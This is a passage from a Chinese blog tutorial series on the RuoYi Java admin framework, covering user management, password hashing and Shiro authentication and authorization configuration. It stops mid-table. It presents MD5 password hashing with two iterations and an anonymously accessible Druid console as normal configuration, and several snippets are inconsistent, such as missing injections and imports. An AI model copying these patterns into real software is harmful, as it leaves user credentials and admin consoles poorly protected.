        List&amp;lt;SysUser&amp;gt; list = userService.selectUserList(user);
        return getDataTable(list);
    }

    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.EXPORT)
    @RequiresPermissions(&quot;system:user:export&quot;)
    @PostMapping(&quot;/export&quot;)
    @ResponseBody
    public AjaxResult export(HttpServletResponse response, SysUser user) {
        List&amp;lt;SysUser&amp;gt; list = userService.selectUserList(user);
        ExcelUtil&amp;lt;SysUser&amp;gt; util = new ExcelUtil&amp;lt;SysUser&amp;gt;(SysUser.class);
        return util.exportExcel(response, list, &quot;用户数据&quot;);
    }

    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.IMPORT)
    @RequiresPermissions(&quot;system:user:import&quot;)
    @PostMapping(&quot;/importData&quot;)
    @ResponseBody
    public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception {
        ExcelUtil&amp;lt;SysUser&amp;gt; util = new ExcelUtil&amp;lt;SysUser&amp;gt;(SysUser.class);
        List&amp;lt;SysUser&amp;gt; userList = util.importExcel(file.getInputStream());
        String operName = ShiroUtils.getLoginName();
        String message = userService.importUser(userList, updateSupport, operName);
        return success(message);
    }

    @GetMapping(&quot;/importTemplate&quot;)
    @ResponseBody
    public AjaxResult importTemplate(HttpServletResponse response) {
        ExcelUtil&amp;lt;SysUser&amp;gt; util = new ExcelUtil&amp;lt;SysUser&amp;gt;(SysUser.class);
        return util.importTemplateExcel(response, &quot;用户数据&quot;);
    }

    /**
     * 新增用户
     */
    @GetMapping(&quot;/add&quot;)
    public String add(ModelMap mmap) {
        mmap.put(&quot;roles&quot;, roleService.selectRoleAll().stream()
                .filter(r -&amp;gt; !r.isAdmin()).collect(Collectors.toList()));
        mmap.put(&quot;posts&quot;, postService.selectPostAll());
        return prefix + &quot;/add&quot;;
    }

    /**
     * 新增保存用户
     */
    @RequiresPermissions(&quot;system:user:add&quot;)
    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.INSERT)
    @PostMapping(&quot;/add&quot;)
    @ResponseBody
    public AjaxResult addSave(@Validated SysUser user) {
        if (UserConstants.NOT_UNIQUE.equals(userService.checkLoginNameUnique(user.getLoginName()))) {
            return error(&quot;新增用户&apos;&quot; + user.getLoginName() + &quot;&apos;失败，登录账号已存在&quot;);
        }
        if (StringUtils.isNotEmpty(user.getPhonenumber())
                &amp;amp;&amp;amp; UserConstants.NOT_UNIQUE.equals(userService.checkPhoneUnique(user))) {
            return error(&quot;新增用户&apos;&quot; + user.getLoginName() + &quot;&apos;失败，手机号码已存在&quot;);
        }
        if (StringUtils.isNotEmpty(user.getEmail())
                &amp;amp;&amp;amp; UserConstants.NOT_UNIQUE.equals(userService.checkEmailUnique(user))) {
            return error(&quot;新增用户&apos;&quot; + user.getLoginName() + &quot;&apos;失败，邮箱账号已存在&quot;);
        }
        
        // 密码加密
        user.setSalt(ShiroUtils.randomSalt());
        user.setPassword(passwordService.encryptPassword(user.getLoginName(), 
                user.getPassword(), user.getSalt()));
        user.setPwdUpdateDate(DateUtils.getNowDate());
        user.setCreateBy(getLoginName());
        
        return toAjax(userService.insertUser(user));
    }

    /**
     * 修改用户
     */
    @GetMapping(&quot;/edit/{userId}&quot;)
    public String edit(@PathVariable(&quot;userId&quot;) Long userId, ModelMap mmap) {
        userService.checkUserDataScope(userId);
        List&amp;lt;SysRole&amp;gt; roles = roleService.selectRolesByUserId(userId);
        mmap.put(&quot;user&quot;, userService.selectUserById(userId));
        mmap.put(&quot;roles&quot;, roles.stream().filter(r -&amp;gt; !r.isAdmin()).collect(Collectors.toList()));
        mmap.put(&quot;posts&quot;, postService.selectPostsByUserId(userId));
        return prefix + &quot;/edit&quot;;
    }

    /**
     * 修改保存用户
     */
    @RequiresPermissions(&quot;system:user:edit&quot;)
    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.UPDATE)
    @PostMapping(&quot;/edit&quot;)
    @ResponseBody
    public AjaxResult editSave(@Validated SysUser user) {
        userService.checkUserAllowed(user);
        userService.checkUserDataScope(user.getUserId());
        
        if (StringUtils.isNotEmpty(user.getPhonenumber())
                &amp;amp;&amp;amp; UserConstants.NOT_UNIQUE.equals(userService.checkPhoneUnique(user))) {
            return error(&quot;修改用户&apos;&quot; + user.getLoginName() + &quot;&apos;失败，手机号码已存在&quot;);
        }
        if (StringUtils.isNotEmpty(user.getEmail())
                &amp;amp;&amp;amp; UserConstants.NOT_UNIQUE.equals(userService.checkEmailUnique(user))) {
            return error(&quot;修改用户&apos;&quot; + user.getLoginName() + &quot;&apos;失败，邮箱账号已存在&quot;);
        }
        
        user.setUpdateBy(getLoginName());
        AuthorizationUtils.clearAllCachedAuthorizationInfo();
        
        return toAjax(userService.updateUser(user));
    }

    /**
     * 重置密码
     */
    @GetMapping(&quot;/resetPwd/{userId}&quot;)
    public String resetPwd(@PathVariable(&quot;userId&quot;) Long userId, ModelMap mmap) {
        mmap.put(&quot;user&quot;, userService.selectUserById(userId));
        return prefix + &quot;/resetPwd&quot;;
    }

    /**
     * 重置密码提交
     */
    @RequiresPermissions(&quot;system:user:resetPwd&quot;)
    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.UPDATE)
    @PostMapping(&quot;/resetPwd&quot;)
    @ResponseBody
    public AjaxResult resetPwdSave(SysUser user) {
        userService.checkUserAllowed(user);
        userService.checkUserDataScope(user.getUserId());
        user.setSalt(ShiroUtils.randomSalt());
        user.setPassword(passwordService.encryptPassword(user.getLoginName(), 
                user.getPassword(), user.getSalt()));
        if (userService.resetUserPwd(user) &amp;gt; 0) {
            // 更新缓存中的密码
            ShiroUtils.setSysUser(userService.selectUserById(user.getUserId()));
            return success();
        }
        return error();
    }

    /**
     * 修改状态
     */
    @RequiresPermissions(&quot;system:user:edit&quot;)
    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.UPDATE)
    @PostMapping(&quot;/changeStatus&quot;)
    @ResponseBody
    public AjaxResult changeStatus(SysUser user) {
        userService.checkUserAllowed(user);
        userService.checkUserDataScope(user.getUserId());
        return toAjax(userService.updateUser(user));
    }

    /**
     * 删除用户
     */
    @RequiresPermissions(&quot;system:user:remove&quot;)
    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.DELETE)
    @PostMapping(&quot;/remove&quot;)
    @ResponseBody
    public AjaxResult remove(String ids) {
        return toAjax(userService.deleteUserByIds(ids));
    }

    /**
     * 校验登录名
     */
    @PostMapping(&quot;/checkLoginNameUnique&quot;)
    @ResponseBody
    public boolean checkLoginNameUnique(SysUser user) {
        return userService.checkLoginNameUnique(user.getLoginName()) 
                .equals(UserConstants.UNIQUE);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;密码加密机制&lt;/h2&gt;
&lt;h3&gt;加密流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;用户输入密码
    ↓
生成随机盐值 (Salt)
    ↓
MD5(密码 + 盐值)
    ↓
迭代加密 2 次
    ↓
存入数据库
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;密码服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/shiro/service/PasswordService.java
package com.ruoyi.framework.shiro.service;

import java.util.concurrent.atomic.AtomicInteger;
import javax.annotation.PostConstruct;
import org.apache.shiro.cache.Cache;
import org.apache.shiro.cache.CacheManager;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.constant.ShiroConstants;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.MessageUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.exception.user.*;

/**
 * 登录密码方法
 * 
 * @author ruoyi
 */
@Component
public class PasswordService {
    @Autowired
    private CacheManager cacheManager;

    private Cache&amp;lt;String, AtomicInteger&amp;gt; loginRecordCache;

    @Value(&quot;${user.password.maxRetryCount}&quot;)
    private int maxRetryCount;

    @Value(&quot;${user.password.lockTime}&quot;)
    private int lockTime;

    @PostConstruct
    public void init() {
        loginRecordCache = cacheManager.getCache(ShiroConstants.LOGIN_RECORD_CACHE);
    }

    /**
     * 加密密码
     */
    public String encryptPassword(String loginName, String password, String salt) {
        return new Md5Hash(loginName + password, salt, 2).toString();
    }

    /**
     * 验证密码
     */
    public boolean matches(SysUser user, String newPassword) {
        String encryptedPassword = encryptPassword(user.getLoginName(), 
                newPassword, user.getSalt());
        return user.getPassword().equals(encryptedPassword);
    }

    /**
     * 登录前检查
     */
    public SysUser loginPreCheck(String username, String password) {
        // 1. 检查用户是否存在
        SysUser user = userService.selectUserByLoginName(username);
        if (StringUtils.isNull(user)) {
            throw new UserNotExistsException();
        }
        
        // 2. 检查用户状态
        if (UserStatus.DELETED.getCode().equals(user.getDelFlag())) {
            throw new UserPasswordDeleteException();
        }
        if (UserStatus.DISABLE.getCode().equals(user.getStatus())) {
            throw new UserBlockedException();
        }
        
        // 3. 检查密码错误次数
        AtomicInteger retryCount = loginRecordCache.get(username);
        if (retryCount != null &amp;amp;&amp;amp; retryCount.get() &amp;gt;= maxRetryCount) {
            throw new UserPasswordNotMatchException();
        }
        
        return user;
    }

    /**
     * 记录登录失败次数
     */
    public void recordLoginInfo(SysUser user) {
        String loginName = user.getLoginName();
        AtomicInteger retryCount = loginRecordCache.get(loginName);
        if (retryCount == null) {
            retryCount = new AtomicInteger(0);
        }
        retryCount.incrementAndGet();
        loginRecordCache.put(loginName, retryCount);
    }

    /**
     * 清除登录失败次数
     */
    public void clearLoginRecordCache(String loginName) {
        if (loginRecordCache.containsKey(loginName)) {
            loginRecordCache.remove(loginName);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;用户状态管理&lt;/h2&gt;
&lt;h3&gt;状态枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/enums/UserStatus.java
package com.ruoyi.common.enums;

/**
 * 用户状态
 * 
 * @author ruoyi
 */
public enum UserStatus {
    OK(&quot;0&quot;, &quot;正常&quot;), 
    DISABLE(&quot;1&quot;, &quot;停用&quot;), 
    DELETED(&quot;2&quot;, &quot;删除&quot;);

    private final String code;
    private final String info;

    UserStatus(String code, String info) {
        this.code = code;
        this.info = info;
    }

    public String getCode() {
        return code;
    }

    public String getInfo() {
        return info;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;状态流转&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;正常 (0) ←→ 停用 (1)
    ↓
删除 (2)  [逻辑删除]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据权限 (@DataScope)&lt;/h2&gt;
&lt;p&gt;RuoYi 实现了灵活的数据权限控制：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/annotation/DataScope.java
package com.ruoyi.common.annotation;

import java.lang.annotation.*;

/**
 * 数据权限过滤注解
 * 
 * @author ruoyi
 */
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface DataScope {
    /**
     * 部门表的别名
     */
    public String deptAlias() default &quot;&quot;;

    /**
     * 用户表的别名
     */
    public String userAlias() default &quot;&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;数据权限类型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;全部数据权限&lt;/td&gt;
&lt;td&gt;可以看到所有数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自定义数据权限&lt;/td&gt;
&lt;td&gt;只能看到指定部门的数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本部门数据权限&lt;/td&gt;
&lt;td&gt;只能看到本部门的数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本部门及以下数据权限&lt;/td&gt;
&lt;td&gt;可以看到本部门及下级部门的数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;仅本人数据权限&lt;/td&gt;
&lt;td&gt;只能看到自己的数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 用户管理核心流程
// 1. 新增用户
user.setSalt(ShiroUtils.randomSalt());
user.setPassword(passwordService.encryptPassword(...));
userService.insertUser(user);

// 2. 验证密码
passwordService.matches(user, inputPassword);

// 3. 数据权限
@DataScope(deptAlias = &quot;d&quot;, userAlias = &quot;u&quot;)
public List&amp;lt;SysUser&amp;gt; selectUserList(SysUser user);

// 4. 用户状态
// 0 = 正常
// 1 = 停用
// 2 = 删除（逻辑删除）

// 5. 密码加密
// MD5(loginName + password + salt) 迭代 2 次
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户实体类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysUserService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户服务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysUserServiceImpl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户服务实现&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysUserController&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户控制器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PasswordService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;密码加密服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UserStatus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户状态枚举&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-06-role-menu/&quot;&gt;阶段六：角色与菜单管理&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段六中，我们将深入理解 RBAC 权限模型，以及角色和菜单的关联关系。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段四：Shiro 权限框架</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-04-shiro-security/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-04-shiro-security/</guid><description>理解 Shiro 核心概念：认证、授权、Session 管理、Realm 配置，以及 RuoYi 中的权限控制实现。</description><pubDate>Mon, 07 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段四&lt;/strong&gt;，聚焦 Shiro 权限框架。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解 Shiro 的认证和授权机制&lt;/li&gt;
&lt;li&gt;掌握 Realm 的配置和使用&lt;/li&gt;
&lt;li&gt;知道 RuoYi 是如何实现权限控制的&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：Shiro 像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Shiro&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Authentication（认证）&lt;/td&gt;
&lt;td&gt;登录验证（username/password）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authorization（授权）&lt;/td&gt;
&lt;td&gt;路由守卫 + 按钮级权限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session&lt;/td&gt;
&lt;td&gt;LocalStorage / SessionStorage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Realm&lt;/td&gt;
&lt;td&gt;用户数据源（API 接口）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@RequiresPermissions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v-if=&quot;hasPermission(&apos;xxx&apos;)&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Shiro 核心概念&lt;/h2&gt;
&lt;h3&gt;1. 四大核心功能&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────┐
│                      Shiro 架构                          │
├─────────────────────────────────────────────────────────┤
│  Authentication（认证）  │  用户登录验证                  │
│  Authorization（授权）   │  权限检查                      │
│  Session Management     │  会话管理                      │
│  Cryptography           │  加密解密                      │
└─────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 核心组件&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;组件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Subject&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;当前用户（主体）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SecurityManager&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;安全管理器（核心）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Realm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据源（连接数据库）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Session&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;会话管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Cache&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;缓存管理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;RuoYi 中的 Shiro 配置&lt;/h2&gt;
&lt;h3&gt;1. ShiroConfig 配置类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/config/ShiroConfig.java
package com.ruoyi.framework.config;

import java.util.LinkedHashMap;
import java.util.Map;
import javax.servlet.Filter;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.apache.shiro.web.servlet.SimpleCookie;
import org.apache.shiro.web.session.mgt.DefaultWebSessionManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import com.ruoyi.framework.shiro.realm.UserRealm;
import com.ruoyi.framework.shiro.session.OnlineSessionDAO;
import com.ruoyi.framework.shiro.session.OnlineSessionFactory;
import com.ruoyi.framework.shiro.web.filter.LogoutFilter;
import com.ruoyi.framework.shiro.web.filter.captcha.CaptchaValidateFilter;
import com.ruoyi.framework.shiro.web.filter.kickout.KickoutSessionFilter;
import com.ruoyi.framework.shiro.web.filter.online.OnlineSessionFilter;
import com.ruoyi.framework.shiro.web.filter.sync.SyncOnlineSessionFilter;

/**
 * Shiro 配置
 * 
 * @author ruoyi
 */
@Configuration
public class ShiroConfig {
    
    /**
     * 安全管理器
     */
    @Bean
    public SecurityManager securityManager(UserRealm userRealm) {
        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
        // 设置 Realm
        securityManager.setRealm(userRealm);
        // 设置 Session 管理器
        securityManager.setSessionManager(sessionManager());
        return securityManager;
    }
    
    /**
     * Shiro 过滤器配置
     */
    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
        ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean();
        factoryBean.setSecurityManager(securityManager);
        
        // 配置过滤链
        Map&amp;lt;String, String&amp;gt; filterChainDefinitionMap = new LinkedHashMap&amp;lt;&amp;gt;();
        
        // 匿名访问（不需要登录）
        filterChainDefinitionMap.put(&quot;/login&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/logout&quot;, &quot;logout&quot;);
        filterChainDefinitionMap.put(&quot;/captcha/captchaImage**&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/css/**&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/js/**&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/img/**&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/ajax/**&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/fonts/**&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/druid/**&quot;, &quot;anon&quot;);
        
        // 需要认证访问
        filterChainDefinitionMap.put(&quot;/**&quot;, &quot;authc&quot;);
        
        factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
        
        // 自定义过滤器
        Map&amp;lt;String, Filter&amp;gt; filters = new LinkedHashMap&amp;lt;&amp;gt;();
        filters.put(&quot;onlineSession&quot;, onlineSessionFilter());
        filters.put(&quot;syncOnlineSession&quot;, syncOnlineSessionFilter());
        filters.put(&quot;captchaValidate&quot;, captchaValidateFilter());
        filters.put(&quot;kickout&quot;, kickoutSessionFilter());
        factoryBean.setFilters(filters);
        
        return factoryBean;
    }
    
    /**
     * Session 管理器
     */
    @Bean
    public DefaultWebSessionManager sessionManager() {
        DefaultWebSessionManager sessionManager = new DefaultWebSessionManager();
        // 设置 Session 超时时间（毫秒）
        sessionManager.setGlobalSessionTimeout(1800000);  // 30 分钟
        // 设置 Session DAO
        sessionManager.setSessionDAO(onlineSessionDAO());
        // 设置 Session 工厂
        sessionManager.setSessionFactory(onlineSessionFactory());
        // 设置 Cookie
        sessionManager.setSessionIdCookie(sessionIdCookie());
        // 禁用 URL 重写（防止 JSESSIONID 暴露在 URL 中）
        sessionManager.setSessionIdUrlRewritingEnabled(false);
        return sessionManager;
    }
    
    /**
     * 开启 Shiro 注解支持
     */
    @Bean
    public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) {
        AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor();
        advisor.setSecurityManager(securityManager);
        return advisor;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. UserRealm 数据源&lt;/h3&gt;
&lt;p&gt;Realm 是 Shiro 连接数据库的桥梁：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/shiro/realm/UserRealm.java
package com.ruoyi.framework.shiro.realm;

import java.util.HashSet;
import java.util.Set;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.ExcessiveAttemptsException;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.LockedAccountException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.authz.SimpleAuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import com.ruoyi.common.constant.ShiroConstants;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.framework.shiro.service.PasswordService;
import com.ruoyi.system.service.ISysMenuService;
import com.ruoyi.system.service.ISysRoleService;

/**
 * 自定义 Realm 处理登录 权限
 * 
 * @author ruoyi
 */
public class UserRealm extends AuthorizingRealm {
    private static final Logger log = LoggerFactory.getLogger(UserRealm.class);

    @Autowired
    private ISysMenuService menuService;
    
    @Autowired
    private ISysRoleService roleService;
    
    @Autowired
    private PasswordService passwordService;

    /**
     * 授权（权限检查）
     */
    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection arg0) {
        SysUser user = ShiroUtils.getSysUser();
        SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
        
        // 角色加载
        Set&amp;lt;String&amp;gt; roles = roleService.selectRoleKeys(user.getUserId());
        // 权限加载
        Set&amp;lt;String&amp;gt; menus = menuService.selectPermsByUserId(user.getUserId());
        
        info.setRoles(roles);
        info.setStringPermissions(menus);
        
        return info;
    }

    /**
     * 认证（登录验证）
     */
    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) 
            throws AuthenticationException {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        String username = upToken.getUsername();
        String password = new String(upToken.getPassword());

        // 1. 查询用户
        SysUser user = passwordService.loginPreCheck(username, password);
        
        // 2. 验证用户状态
        if (user == null) {
            throw new UnknownAccountException(&quot;用户不存在&quot;);
        }
        if (UserStatus.DELETED.getCode().equals(user.getDelFlag())) {
            throw new UnknownAccountException(&quot;用户已被删除&quot;);
        }
        if (UserStatus.DISABLE.getCode().equals(user.getStatus())) {
            throw new LockedAccountException(&quot;用户已被停用&quot;);
        }
        
        // 3. 验证密码
        if (!passwordService.matches(user, password)) {
            throw new IncorrectCredentialsException(&quot;密码错误&quot;);
        }
        
        // 4. 返回认证信息
        return new SimpleAuthenticationInfo(user, password, getName());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;认证流程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;用户提交登录表单
    ↓
Shiro 拦截请求
    ↓
调用 UserRealm.doGetAuthenticationInfo()
    ↓
查询数据库验证用户
    ↓
验证密码（加密对比）
    ↓
创建 Session
    ↓
登录成功，跳转到首页
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;登录 Controller&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/common/SysLoginController.java
@Controller
public class SysLoginController {
    
    @Autowired
    private ISysMenuService menuService;
    
    @Autowired
    private PasswordService passwordService;

    @GetMapping(&quot;/login&quot;)
    public String login(HttpServletRequest request, HttpServletResponse response) {
        // 如果已经登录，直接跳转到首页
        if (ShiroUtils.isLogin()) {
            return &quot;redirect:/index&quot;;
        }
        return &quot;login&quot;;
    }

    @PostMapping(&quot;/login&quot;)
    @ResponseBody
    public AjaxResult ajaxLogin(String username, String password, String rememberMe) {
        // 1. 验证码检查
        String captcha = ServletUtils.getParameter(&quot;validateCode&quot;);
        if (StringUtils.isNotEmpty(captcha) &amp;amp;&amp;amp; !validateCaptcha(captcha)) {
            return error(&quot;验证码错误&quot;);
        }
        
        // 2. Shiro 认证
        UsernamePasswordToken token = new UsernamePasswordToken(username, password);
        Subject subject = SecurityUtils.getSubject();
        try {
            subject.login(token);
            return success();
        } catch (AuthenticationException e) {
            return error(e.getMessage());
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;授权流程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;用户访问受保护资源
    ↓
Shiro 拦截请求
    ↓
调用 UserRealm.doGetAuthorizationInfo()
    ↓
查询用户角色和权限
    ↓
检查是否有权限
    ↓
有权限：放行；无权限：抛出异常
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限注解使用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Controller 中使用 @RequiresPermissions
@RestController
@RequestMapping(&quot;/system/user&quot;)
public class SysUserController {
    
    // 需要 system:user:view 权限
    @RequiresPermissions(&quot;system:user:view&quot;)
    @GetMapping()
    public String user() {
        return &quot;system/user/user&quot;;
    }
    
    // 需要 system:user:list 权限
    @RequiresPermissions(&quot;system:user:list&quot;)
    @PostMapping(&quot;/list&quot;)
    @ResponseBody
    public TableDataInfo list(SysUser user) {
        startPage();
        List&amp;lt;SysUser&amp;gt; list = userService.selectUserList(user);
        return getDataTable(list);
    }
    
    // 需要 system:user:add 权限
    @RequiresPermissions(&quot;system:user:add&quot;)
    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.INSERT)
    @PostMapping(&quot;/add&quot;)
    @ResponseBody
    public AjaxResult addSave(SysUser user) {
        return toAjax(userService.insertUser(user));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限标识规范&lt;/h3&gt;
&lt;p&gt;RuoYi 的权限标识格式：&lt;code&gt;模块:功能:操作&lt;/code&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;权限标识&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
